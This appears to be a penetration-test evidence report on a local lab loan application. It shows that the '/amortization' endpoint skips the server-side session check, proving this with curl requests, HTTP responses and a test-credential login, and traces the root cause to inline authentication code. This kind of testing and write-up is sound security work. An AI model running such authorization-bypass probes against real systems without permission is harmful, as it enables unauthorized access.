# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Missing Authentication on Amortization Endpoint

**Summary:**
- **Vulnerable location:** `GET /amortization` endpoint (routes.py:122-177)
- **Overview:** Complete absence of authentication check allows unauthenticated external attackers to access functionality designed to be authenticated-only. The endpoint was intended to be accessed only through an iframe embedded in the authenticated `/loan_details` page, but lacks server-side authentication enforcement.
- **Impact:** Unauthenticated access to application feature that should require login. Bypasses the authentication workflow, allowing external attackers to access functionality designed for authenticated users only. This demonstrates a context-based authorization failure where developers assumed iframe embedding provided security.
- **Severity:** High

**Prerequisites:**
None - This vulnerability is exploitable by completely unauthenticated external attackers with no prerequisites.

**Exploitation Steps:**

1. **Access the vulnerable endpoint directly without authentication:**
```bash
curl -i 'http://localhost:37579/amortization?term=5'
```

Expected response:
- HTTP Status: 200 OK
- Content: Full HTML page with amortization table
- No authentication challenge or redirect

2. **Compare with protected endpoint behavior to demonstrate the authorization bypass:**
```bash
curl -i 'http://localhost:37579/home'
```

Expected response:
- HTTP Status: 302 FOUND
- Location header: /login
- Content: Redirect message to login page

**Proof of Impact:**

The following evidence proves unauthorized access to authenticated functionality:

**Evidence 1 - Vulnerable Endpoint Accessible Without Authentication:**
```
$ curl -i 'http://localhost:37579/amortization?term=5'
HTTP/1.1 200 OK
Date: Fri, 31 Oct 2025 14:09:16 GMT
Server: Apache/2.4.65 (Debian)
Content-Length: 1598
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Amortization Table</title>
    <i>This feature is not yet fully implented.</i>
    ...
</head>
<body>
    <h2>Amortization Table</h2>
    <table id="paymentTable">
        <thead>
            <tr>
                <th>Payment Number</th>
                <th>Principal</th>
                <th>Interest</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>1</td>
                <td>N/A</td>
                <td>N/A</td>
            </tr>
            ...
        </tbody>
    </table>
</body>
</html>
```

**Evidence 2 - Protected Endpoints Properly Enforce Authentication:**
```
$ curl -i 'http://localhost:37579/home'
HTTP/1.1 302 FOUND
Date: Fri, 31 Oct 2025 14:09:25 GMT
Server: Apache/2.4.65 (Debian)
Location: /login
Content-Type: text/html; charset=utf-8

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
```

**Evidence 3 - Endpoint Intended to be Authenticated-Only:**

The `/amortization` endpoint is embedded in the authenticated `/loan_details` page (which requires valid session):

```bash
# Login with test credentials and access loan_details page
curl -c /tmp/cookies.txt -d "username=test&password=test" 'http://localhost:37579/login' -L
curl -b /tmp/cookies.txt 'http://localhost:37579/loan_details'
```

The `/loan_details` page contains:
```html
<!-- Button to trigger loading of amortization table in iframe -->
<button id="showAmortizationTable" class="btn btn-primary">Show Amortization Table</button>
<iframe id="amortizationIframe" src="" style="width: 100%; height: 500px; border: none;"></iframe>

<script>
$('#showAmortizationTable').click(function() {
    // Set the iframe src attribute to the /amortization endpoint
    $('#amortizationIframe').attr('src', '/amortization?term=60');
});
</script>
```

This proves the endpoint was designed to be accessed only from authenticated context (within iframe on authenticated page), but the server-side authentication check was missing.

**Root Cause Analysis:**

All other protected endpoints in the application implement inline session validation using this pattern (routes.py):
```python
user_id = session.get('user_id')
if user_id:
    # authorized code
else:
    return redirect(url_for('login'))
```

This pattern appears at:
- Line 49 (`/home` endpoint)
- Line 61 (`/profile` endpoint)  
- Line 85 (`/loan_details` endpoint)
- Line 98 (`/total_loan_payments` endpoint)

However, the `/amortization` endpoint (line 122-177) **completely lacks this authentication check**. The function begins processing the `term` parameter immediately without validating session state.

The developers incorrectly assumed that embedding the endpoint in an iframe within an authenticated page provided sufficient security (security through obscurity). They failed to implement defense-in-depth by adding explicit server-side authentication validation to the embedded endpoint itself.

**Notes:**

This authorization vulnerability represents a **Context-Based Authorization Failure** where:
1. The application relied on the embedding context (iframe in authenticated page) for security
2. No server-side enforcement of the authentication requirement was implemented
3. Direct HTTP requests bypass the intended authentication workflow completely

The vulnerability demonstrates the danger of decentralized inline authentication checks rather than using middleware or decorators. The consistent authentication pattern was manually implemented in 4 endpoints but forgotten in this one, highlighting the fragility of this approach.

From a security architecture perspective, this is a violation of the defense-in-depth principle: every endpoint that should require authentication must explicitly validate authentication server-side, regardless of how it's intended to be accessed client-side.
